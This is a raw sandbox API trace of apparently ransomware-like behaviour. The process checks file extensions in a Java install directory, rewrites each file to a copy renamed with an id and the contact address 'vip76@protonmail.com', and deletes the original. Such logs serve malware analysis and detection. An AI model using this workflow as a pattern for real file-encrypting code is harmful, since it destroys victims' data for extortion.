	[0169.858] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0169.858] lstrlenW (lpString=".docx") returned 5
	[0169.858] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0169.859] lstrlenW (lpString=".pdf") returned 4
	[0169.859] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString=".xls") returned 4
	[0169.859] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString=".xlsx") returned 5
	[0169.859] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0169.859] lstrlenW (lpString=".ppt") returned 4
	[0169.859] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.859] lstrlenW (lpString=".zip") returned 4
	[0169.859] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString=".rar") returned 4
	[0169.859] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString=".bz2") returned 4
	[0169.859] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString=".7z") returned 3
	[0169.859] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0169.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.859] lstrlenW (lpString=".dbf") returned 4
	[0169.859] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.859] lstrlenW (lpString=".1cd") returned 4
	[0169.859] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.859] lstrlenW (lpString=".jpg") returned 4
	[0169.859] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.859] lstrlenW (lpString=".doc") returned 4
	[0169.859] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0169.859] lstrlenW (lpString=".docx") returned 5
	[0169.860] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0169.860] lstrlenW (lpString=".pdf") returned 4
	[0169.860] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0169.860] lstrlenW (lpString=".xls") returned 4
	[0169.860] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0169.860] lstrlenW (lpString=".xlsx") returned 5
	[0169.860] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0169.860] lstrlenW (lpString=".ppt") returned 4
	[0169.860] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.860] lstrlenW (lpString=".zip") returned 4
	[0169.860] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0169.860] lstrlenW (lpString=".rar") returned 4
	[0169.860] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0169.860] lstrlenW (lpString=".bz2") returned 4
	[0169.860] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0169.860] lstrlenW (lpString=".7z") returned 3
	[0169.860] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.860] lstrlenW (lpString=".dbf") returned 4
	[0169.860] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.860] lstrlenW (lpString=".1cd") returned 4
	[0169.860] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.860] lstrlenW (lpString=".jpg") returned 4
	[0169.860] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0169.861] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0169.861] lstrlenW (lpString="content-types.properties") returned 24
	[0169.861] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0169.861] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5548) returned 1
	[0169.861] CloseHandle (hObject=0x510) returned 1
	[0169.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20
	[0169.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.862] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0169.862] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.862] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.862] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0169.862] GetLastError () returned 0x0
	[0169.862] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x15ac, lpOverlapped=0x0) returned 1
	[0169.864] WriteFile (in: hFile=0x524, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x15b0, lpOverlapped=0x0) returned 1
	[0169.866] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.866] WriteFile (in: hFile=0x524, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x104, lpOverlapped=0x0) returned 1
	[0169.866] SetEndOfFile (hFile=0x524) returned 1
	[0169.866] CloseHandle (hObject=0x524) returned 1
	[0169.866] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.866] SetEndOfFile (hFile=0x510) returned 1
	[0169.874] CloseHandle (hObject=0x510) returned 1
	[0169.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.874] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1
	[0169.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.875] lstrlenW (lpString=".doc") returned 4
	[0169.875] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0169.875] lstrlenW (lpString=".docx") returned 5
	[0169.875] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0169.875] lstrlenW (lpString=".pdf") returned 4
	[0169.875] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0169.875] lstrlenW (lpString=".xls") returned 4
	[0169.875] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0169.875] lstrlenW (lpString=".xlsx") returned 5
	[0169.875] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0169.875] lstrlenW (lpString=".ppt") returned 4
	[0169.875] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0169.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.875] lstrlenW (lpString=".zip") returned 4
	[0169.875] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0169.875] lstrlenW (lpString=".rar") returned 4
	[0169.875] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0169.875] lstrlenW (lpString=".bz2") returned 4
	[0169.875] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0169.875] lstrlenW (lpString=".7z") returned 3
	[0169.875] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0169.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.876] lstrlenW (lpString=".dbf") returned 4
	[0169.876] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.876] lstrlenW (lpString=".1cd") returned 4
	[0169.876] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.876] lstrlenW (lpString=".jpg") returned 4
	[0169.876] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.876] lstrlenW (lpString=".doc") returned 4
	[0169.876] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString=".docx") returned 5
	[0169.876] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0169.876] lstrlenW (lpString=".pdf") returned 4
	[0169.876] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString=".xls") returned 4
	[0169.876] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString=".xlsx") returned 5
	[0169.876] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0169.876] lstrlenW (lpString=".ppt") returned 4
	[0169.876] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.876] lstrlenW (lpString=".zip") returned 4
	[0169.876] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString=".rar") returned 4
	[0169.876] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString=".bz2") returned 4
	[0169.876] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0169.876] lstrlenW (lpString=".7z") returned 3
	[0169.877] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0169.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.877] lstrlenW (lpString=".dbf") returned 4
	[0169.877] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0169.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.877] lstrlenW (lpString=".1cd") returned 4
	[0169.877] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0169.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0169.877] lstrlenW (lpString=".jpg") returned 4
	[0169.877] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0169.877] lstrcmpiW (lpString1=".data", lpString2=".html") returned -1
	[0169.877] lstrlenW (lpString="currency.data") returned 13
	[0169.877] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0169.878] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=4122) returned 1
	[0169.878] CloseHandle (hObject=0x510) returned 1
	[0169.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20
	[0169.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0169.878] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.878] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0169.879] GetLastError () returned 0x0
	[0169.879] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x101a, lpOverlapped=0x0) returned 1
	[0170.067] WriteFile (in: hFile=0x524, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0170.069] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.069] WriteFile (in: hFile=0x524, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xee, lpOverlapped=0x0) returned 1
	[0170.069] SetEndOfFile (hFile=0x524) returned 1
	[0170.069] CloseHandle (hObject=0x524) returned 1
	[0170.069] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.069] SetEndOfFile (hFile=0x510) returned 1
	[0170.072] CloseHandle (hObject=0x510) returned 1
	[0170.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0170.523] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1
	[0171.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.981] lstrlenW (lpString=".doc") returned 4
	[0171.981] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1
	[0171.981] lstrlenW (lpString=".docx") returned 5
	[0171.981] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1
	[0171.981] lstrlenW (lpString=".pdf") returned 4
	[0171.981] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1
	[0171.981] lstrlenW (lpString=".xls") returned 4
	[0171.981] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1
	[0171.981] lstrlenW (lpString=".xlsx") returned 5
	[0171.981] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1
	[0171.981] lstrlenW (lpString=".ppt") returned 4
	[0171.981] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1
	[0171.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.981] lstrlenW (lpString=".zip") returned 4
	[0171.981] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1
	[0171.982] lstrlenW (lpString=".rar") returned 4
	[0171.982] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1
	[0171.982] lstrlenW (lpString=".bz2") returned 4
	[0171.982] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1
	[0171.982] lstrlenW (lpString=".7z") returned 3
	[0171.982] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1
	[0171.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.982] lstrlenW (lpString=".dbf") returned 4
	[0171.982] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1
	[0171.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.982] lstrlenW (lpString=".1cd") returned 4
	[0171.982] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1
	[0171.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.982] lstrlenW (lpString=".jpg") returned 4
	[0171.982] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1
	[0171.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.983] lstrlenW (lpString=".doc") returned 4
	[0171.983] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1
	[0171.983] lstrlenW (lpString=".docx") returned 5
	[0171.983] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1
	[0171.983] lstrlenW (lpString=".pdf") returned 4
	[0171.983] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1
	[0171.983] lstrlenW (lpString=".xls") returned 4
	[0171.983] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1
	[0171.983] lstrlenW (lpString=".xlsx") returned 5
	[0171.983] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1
	[0171.983] lstrlenW (lpString=".ppt") returned 4
	[0171.983] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1
	[0171.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.983] lstrlenW (lpString=".zip") returned 4
	[0171.983] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1
	[0171.983] lstrlenW (lpString=".rar") returned 4
	[0171.983] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1
	[0171.983] lstrlenW (lpString=".bz2") returned 4
	[0171.983] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1
	[0171.983] lstrlenW (lpString=".7z") returned 3
	[0171.984] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1
	[0171.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.984] lstrlenW (lpString=".dbf") returned 4
	[0171.984] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1
	[0171.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.984] lstrlenW (lpString=".1cd") returned 4
	[0171.984] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1
	[0171.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0171.984] lstrlenW (lpString=".jpg") returned 4
	[0171.984] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1
	[0171.984] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0171.984] lstrlenW (lpString="messages_de.properties") returned 22
	[0171.984] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.370] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3306) returned 1
	[0172.370] CloseHandle (hObject=0x534) returned 1
	[0172.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20
	[0172.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.371] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.371] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.371] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.371] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.372] GetLastError () returned 0x0
	[0172.372] ReadFile (in: hFile=0x534, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xcea, lpOverlapped=0x0) returned 1
	[0172.468] WriteFile (in: hFile=0x47c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xcf0, lpOverlapped=0x0) returned 1
	[0172.470] ReadFile (in: hFile=0x534, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.470] WriteFile (in: hFile=0x47c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x100, lpOverlapped=0x0) returned 1
	[0172.470] SetEndOfFile (hFile=0x47c) returned 1
	[0172.470] CloseHandle (hObject=0x47c) returned 1
	[0172.470] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.470] SetEndOfFile (hFile=0x534) returned 1
	[0172.474] CloseHandle (hObject=0x534) returned 1
	[0172.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0172.474] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1
	[0172.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.475] lstrlenW (lpString=".doc") returned 4
	[0172.475] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.475] lstrlenW (lpString=".docx") returned 5
	[0172.475] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.475] lstrlenW (lpString=".pdf") returned 4
	[0172.475] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.475] lstrlenW (lpString=".xls") returned 4
	[0172.475] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.476] lstrlenW (lpString=".xlsx") returned 5
	[0172.476] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.476] lstrlenW (lpString=".ppt") returned 4
	[0172.476] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.476] lstrlenW (lpString=".zip") returned 4
	[0172.476] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.476] lstrlenW (lpString=".rar") returned 4
	[0172.476] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.476] lstrlenW (lpString=".bz2") returned 4
	[0172.476] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.476] lstrlenW (lpString=".7z") returned 3
	[0172.476] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0172.476] lstrlenW (lpString=".dbf") returned 4
	[0172.476] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
